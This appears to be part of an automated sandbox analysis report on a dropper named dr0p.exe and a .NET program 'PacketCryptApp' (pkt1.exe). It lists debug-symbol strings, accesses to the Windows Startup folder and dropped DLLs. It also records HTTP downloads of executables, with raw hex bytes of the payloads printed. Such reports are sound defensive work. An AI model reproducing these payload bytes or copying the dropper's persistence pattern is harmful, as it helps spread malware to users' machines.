Click to jump to signature section
Source: | Binary string: /_/artifacts/obj/System.Runtime.Handles/Release/net8.0-windows/System.Runtime.Handles.pdbSHA256 source: System.Runtime.Handles.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Private.Xml\Release\net8.0-windows\System.Private.Xml.pdb source: System.Private.Xml.dll.6.dr |
Source: | Binary string: System.Diagnostics.Process.ni.pdb source: pkt1.exe, 00000006.00000002.3265014655.00007FF8B7E01000.00000020.00000001.01000000.00000008.sdmp |
Source: | Binary string: System.ComponentModel.Primitives.ni.pdb source: pkt1.exe, 00000006.00000002.3265265471.00007FF8BA511000.00000020.00000001.01000000.00000009.sdmp |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NetworkInformation\Release\net8.0-windows\System.Net.NetworkInformation.pdb source: System.Net.NetworkInformation.dll.6.dr |
Source: | Binary string: /_/artifacts/obj/System.Runtime.Handles/Release/net8.0-windows/System.Runtime.Handles.pdb source: System.Runtime.Handles.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdbSHA256 source: pkt1.exe, 00000006.00000002.3220795521.0000025674022000.00000002.00000001.01000000.0000000F.sdmp |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Xml.XDocument\Release\net8.0\System.Xml.XDocument.pdbSHA256 source: System.Xml.XDocument.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Console\Release\net8.0-windows\System.Console.pdb source: pkt1.exe, 00000006.00000002.3264924713.00007FF8B78A1000.00000020.00000001.01000000.0000000A.sdmp, System.Console.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\dlls\mscordac\mscordaccore.pdb source: pkt1.exe, pkt1.exe, 00000006.00000000.2352610404.00007FF6473C8000.00000002.00000001.01000000.00000005.sdmp |
Source: | Binary string: System.Net.Http.Json.ni.pdb source: System.Net.Http.Json.dll.6.dr |
Source: | Binary string: System.IO.MemoryMappedFiles.ni.pdb source: System.IO.MemoryMappedFiles.dll.6.dr |
Source: | Binary string: /_/artifacts/obj/System.Reflection.Extensions/Release/net8.0-windows/System.Reflection.Extensions.pdbSHA256> source: System.Reflection.Extensions.dll.6.dr |
Source: | Binary string: C:\Users\Admin.DESKTOP-9H4MNNT\Desktop\1111\PacketCryptApp\obj\Release\net8.0\win-x64\PacketCryptApp.pdbSHA256_u source: pkt1.exe, 00000006.00000002.3221267777.0000025677452000.00000002.00000001.01000000.00000007.sdmp |
Source: | Binary string: /_/artifacts/obj/System.Security.Cryptography.OpenSsl/Release/net8.0-windows/System.Security.Cryptography.OpenSsl.pdb source: System.Security.Cryptography.OpenSsl.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Xml.XDocument\Release\net8.0\System.Xml.XDocument.pdb source: System.Xml.XDocument.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: pkt1.exe, 00000006.00000002.3265014655.00007FF8B7E01000.00000020.00000001.01000000.00000008.sdmp |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdb source: pkt1.exe, 00000006.00000002.3220861008.0000025674032000.00000002.00000001.01000000.00000010.sdmp, Microsoft.Win32.Primitives.dll.6.dr |
Source: | Binary string: System.Memory.ni.pdb source: pkt1.exe, 00000006.00000002.3264827588.00007FF8B7821000.00000020.00000001.01000000.0000000B.sdmp |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdbSHA2560 source: pkt1.exe, 00000006.00000002.3220953516.0000025674042000.00000002.00000001.01000000.00000011.sdmp |
Source: | Binary string: /_/artifacts/obj/System.Diagnostics.Tools/Release/net8.0-windows/System.Diagnostics.Tools.pdb source: System.Diagnostics.Tools.dll.6.dr |
Source: | Binary string: System.Private.CoreLib.ni.pdb source: pkt1.exe, 00000006.00000002.3224952852.00007FF8A82B1000.00000020.00000001.01000000.00000006.sdmp, System.Private.CoreLib.dll.6.dr |
Source: | Binary string: System.Private.Xml.ni.pdb source: System.Private.Xml.dll.6.dr |
Source: | Binary string: /_/artifacts/obj/System.Security.Cryptography.OpenSsl/Release/net8.0-windows/System.Security.Cryptography.OpenSsl.pdbSHA256 source: System.Security.Cryptography.OpenSsl.dll.6.dr |
Source: | Binary string: /_/artifacts/obj/System.Numerics/Release/net8.0-windows/System.Numerics.pdbSHA256<t source: System.Numerics.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.MemoryMappedFiles\Release\net8.0-windows\System.IO.MemoryMappedFiles.pdb source: System.IO.MemoryMappedFiles.dll.6.dr |
Source: | Binary string: System.Collections.Specialized.ni.pdb source: System.Collections.Specialized.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http.Json\Release\net8.0\System.Net.Http.Json.pdb source: System.Net.Http.Json.dll.6.dr |
Source: | Binary string: /_/artifacts/obj/System.Reflection.Extensions/Release/net8.0-windows/System.Reflection.Extensions.pdb source: System.Reflection.Extensions.dll.6.dr |
Source: | Binary string: System.Runtime.InteropServices.ni.pdb source: pkt1.exe, 00000006.00000002.3265112566.00007FF8B9F61000.00000020.00000001.01000000.0000000D.sdmp |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net8.0\System.Threading.pdb source: pkt1.exe, 00000006.00000002.3265197772.00007FF8BA4F1000.00000020.00000001.01000000.0000000C.sdmp |
Source: | Binary string: /_/artifacts/obj/System.Globalization.Extensions/Release/net8.0-windows/System.Globalization.Extensions.pdb source: System.Globalization.Extensions.dll.6.dr |
Source: | Binary string: /_/artifacts/obj/System.Diagnostics.Tools/Release/net8.0-windows/System.Diagnostics.Tools.pdbSHA256 source: System.Diagnostics.Tools.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\Corehost.Static\singlefilehost.pdb source: pkt1.exe, 00000006.00000002.3224591101.00007FF6471ED000.00000002.00000001.01000000.00000005.sdmp, pkt1.exe, 00000006.00000000.2352463284.00007FF6471ED000.00000002.00000001.01000000.00000005.sdmp |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.WebHeaderCollection\Release\net8.0\System.Net.WebHeaderCollection.pdb source: System.Net.WebHeaderCollection.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x64\Release\System.Private.CoreLib.pdb source: pkt1.exe, 00000006.00000002.3224952852.00007FF8A82B1000.00000020.00000001.01000000.00000006.sdmp, System.Private.CoreLib.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdb source: pkt1.exe, 00000006.00000002.3264827588.00007FF8B7821000.00000020.00000001.01000000.0000000B.sdmp |
Source: | Binary string: /_/artifacts/obj/netstandard/Release/net8.0-windows/netstandard.pdb source: pkt1.exe, 00000006.00000002.3222444888.00000256780F0000.00000004.00000020.00020000.00000000.sdmp |
Source: | Binary string: System.Net.WebHeaderCollection.ni.pdb source: System.Net.WebHeaderCollection.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Primitives\Release\net8.0\System.ComponentModel.Primitives.pdb source: pkt1.exe, 00000006.00000002.3265265471.00007FF8BA511000.00000020.00000001.01000000.00000009.sdmp |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.MemoryMappedFiles\Release\net8.0-windows\System.IO.MemoryMappedFiles.pdbSHA2562R4c source: System.IO.MemoryMappedFiles.dll.6.dr |
Source: | Binary string: /_/artifacts/obj/netstandard/Release/net8.0-windows/netstandard.pdbSHA256%# source: pkt1.exe, 00000006.00000002.3222444888.00000256780F0000.00000004.00000020.00020000.00000000.sdmp |
Source: | Binary string: System.Console.ni.pdb source: pkt1.exe, 00000006.00000002.3264924713.00007FF8B78A1000.00000020.00000001.01000000.0000000A.sdmp, System.Console.dll.6.dr |
Source: | Binary string: System.Threading.ni.pdb source: pkt1.exe, 00000006.00000002.3265197772.00007FF8BA4F1000.00000020.00000001.01000000.0000000C.sdmp |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdb source: pkt1.exe, 00000006.00000002.3220795521.0000025674022000.00000002.00000001.01000000.0000000F.sdmp |
Source: | Binary string: /_/artifacts/obj/System.Globalization.Extensions/Release/net8.0-windows/System.Globalization.Extensions.pdbSHA256{= source: System.Globalization.Extensions.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net8.0\System.Runtime.InteropServices.pdb source: pkt1.exe, 00000006.00000002.3265112566.00007FF8B9F61000.00000020.00000001.01000000.0000000D.sdmp |
Source: | Binary string: /_/artifacts/obj/System.Numerics/Release/net8.0-windows/System.Numerics.pdb source: System.Numerics.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Specialized\Release\net8.0\System.Collections.Specialized.pdb source: System.Collections.Specialized.dll.6.dr |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdb source: pkt1.exe, 00000006.00000002.3220953516.0000025674042000.00000002.00000001.01000000.00000011.sdmp |
Source: | Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdbSHA256%B source: pkt1.exe, 00000006.00000002.3220861008.0000025674032000.00000002.00000001.01000000.00000010.sdmp, Microsoft.Win32.Primitives.dll.6.dr |
Source: | Binary string: C:\Users\Admin.DESKTOP-9H4MNNT\Desktop\1111\PacketCryptApp\obj\Release\net8.0\win-x64\PacketCryptApp.pdb source: pkt1.exe, 00000006.00000002.3221267777.0000025677452000.00000002.00000001.01000000.00000007.sdmp |
Source: | Binary string: System.Net.NetworkInformation.ni.pdb source: System.Net.NetworkInformation.dll.6.dr |
Source: C:\Users\user\Desktop\download\dr0p.exe | File opened: C:\Users\user\AppData\ | Jump to behavior |
Source: C:\Users\user\Desktop\download\dr0p.exe | File opened: C:\Users\user\AppData\Roaming\Microsoft\ | Jump to behavior |
Source: C:\Users\user\Desktop\download\dr0p.exe | File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ | Jump to behavior |
Source: C:\Users\user\Desktop\download\dr0p.exe | File opened: C:\Users\user\ | Jump to behavior |
Source: C:\Users\user\Desktop\download\dr0p.exe | File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ | Jump to behavior |
Source: C:\Users\user\Desktop\download\dr0p.exe | File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ | Jump to behavior |
Source: Yara match | File source: C:\Users\user\AppData\Local\Temp\.net\pkt1\1824\System.dll, type: DROPPED |
Source: Yara match | File source: C:\Users\user\AppData\Local\Temp\.net\pkt1\1824\System.Net.dll, type: DROPPED |
Source: Yara match | File source: C:\Users\user\AppData\Local\Temp\.net\pkt1\1824\netstandard.dll, type: DROPPED |
Source: global traffic | HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Jan 2025 10:58:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 06 Jan 2025 05:16:56 GMTETag: "21d-62b02bcbe81b1"Accept-Ranges: bytesContent-Length: 541Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 32 33 50 45 00 00 4c 01 00 00 0f a3 2d e2 00 40 00 11 f6 45 eb 2c 08 00 02 00 0b 01 60 8a 06 d2 e8 32 07 75 6b 4e 4f 31 c9 bd 64 00 00 00 d0 eb 72 eb 75 f1 eb 5a 00 00 40 00 04 00 00 00 04 00 00 00 01 c0 85 c0 79 c2 01 d3 04 00 50 3d 00 00 00 00 eb 77 00 02 30 00 00 00 5a 7c e7 c3 02 00 00 00 53 bf 00 00 42 00 6a 01 58 31 ed 01 f6 57 6a 08 59 6a 04 3d 00 00 00 00 6a 05 ba de 65 24 14 b3 1f 60 04 00 31 c0 99 8b 74 24 28 4e eb 8c 61 75 0e 40 42 d2 0e 72 04 d1 ea eb 02 d1 e8 d2 06 46 39 f7 7f e8 b1 05 89 e6 01 56 24 3d 00 00 00 00 74 05 01 46 20 85 d2 e1 ef 61 4b 01 d2 72 c2 75 f9 5b 66 81 ff c0 01 eb 8f f7 e2 f7 f3 5a 39 c6 72 05 92 29 d6 29 d0 d0 17 e2 96 47 eb 90 a0 8e 31 b4 b0 1d da 89 83 00 8e 40 b9 b2 6c 06 e7 12 dd 0b 78 b8 90 f6 ff 18 a4 07 df d7 df 61 c0 33 99 c7 3c 13 82 5b 3c ca 2f c2 f1 52 c6 2a eb a5 8c d7 da a8 db 6e 51 d7 56 52 e4 42 e7 fc e6 6d 93 b5 c7 8e d7 5e 47 f4 f6 e7 17 fb 05 3f 71 d8 50 29 56 83 42 0e 50 a0 ff fc 94 8b 45 85 38 58 0e 60 dd 0a 57 d6 5d 06 be fe 6a 71 2d 19 8c 60 32 b3 82 a0 c1 8b ee 94 ea 3e 50 8b d0 11 fd 60 58 1b 76 7b 98 56 6c f4 54 f0 95 80 dc 0b c9 5e 58 64 fe 42 d8 18 82 64 9e af 41 d9 3c 38 6a 93 82 78 15 2c 9a a4 b5 01 7d 06 17 14 82 ee 13 36 99 a9 af 00 1b 3a ad 63 34 2b 57 59 ad 47 29 f1 6e 4e 11 97 dd e9 f4 e1 40 25 68 9c 6a 6c f8 6e 23 72 c9 f7 42 1b 7a 04 63 06 f0 34 cb be ee b6 34 a4 81 f3 14 4b 63 67 4b 7a 5c 37 0a 07 12 30 b0 62 d4 2e 6b b8 fc 0d ed f1 16 9e f0 4f be 2c d1 c9 64 e4 f2 de d1 0a 36 4f f1 63 22 a8 68 24 57 f5 d0 97 c8 ff 2a 64 c4 99 dd be 76 3b a8 d9 eb 7d 82 e7 22 ec df 81 73 6d 21 5c 64 64 6d 54 bb 69 e0 97 1c 33 75 c0 04 Data Ascii: MZ23PEL-@E,`2ukNO1druZ@yP=w0Z|SBjX1WjYj=je$`1t$(Nau@BrF9V$=tF aKru[fZ9r))G1@lxa3<[</R*nQVRBm^G?qP)VBPE8X`W]jq-`2>P`Xv{VlT^XdBdA<8jx,}6:c4+WYG)nN@%hjln#rBzc44KcgKz\70b.kO,d6Oc"h$W*dv;}"sm!\ddmTi3u |
Source: global traffic | HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 07 Jan 2025 10:58:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 06 Jan 2025 05:15:33 GMTETag: "287a9be-62b02b7c80797"Accept-Ranges: bytesContent-Length: 42445246Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 0a 59 8b 17 4e 38 e5 44 4e 38 e5 44 4e 38 e5 44 47 40 76 44 58 38 e5 44 8d bb e6 45 5a 38 e5 44 8d bb e1 45 5c 38 e5 44 8d bb e0 45 11 38 e5 44 3e b9 e1 45 46 38 e5 44 3e b9 e4 45 43 38 e5 44 4e 38 e4 44 46 3a e5 44 5d bc e6 45 5b 38 e5 44 5d bc ec 45 c3 3a e5 44 5d bc e5 45 4f 38 e5 44 5d bc 1a 44 4f 38 e5 44 5d bc e7 45 4f 38 e5 44 52 69 63 68 4e 38 e5 44 00 00 00 00 00 00 00 00 50 45 00 00 64 86 0a 00 21 5f 11 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 aa 61 00 00 ec 31 00 00 00 00 00 90 fe 5c 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 95 00 00 04 00 00 00 00 00 00 03 00 60 c1 00 00 18 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 f0 66 79 00 c4 00 00 00 b4 67 79 00 68 01 00 00 00 70 80 00 20 73 14 00 00 a0 7b 00 fc 60 03 00 00 00 00 00 00 00 00 00 00 f0 94 00 2c 7e 00 00 b0 a6 70 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 a8 70 00 28 00 00 00 40 45 62 00 40 01 00 00 00 00 00 00 00 00 00 00 00 d0 61 00 c8 0e 00 00 a4 64 79 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1c a7 61 00 00 10 00 00 00 a8 61 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 43 4c 52 5f 55 45 46 dd 00 00 00 00 c0 61 00 00 02 00 00 00 ac 61 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 c5 17 00 00 d0 61 00 00 c6 17 00 00 ae 61 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 ff 01 00 00 a0 79 00 00 98 00 00 00 74 79 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 fc 60 03 00 00 a0 7b 00 00 62 03 00 00 0c 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 7f 00 00 02 00 00 00 |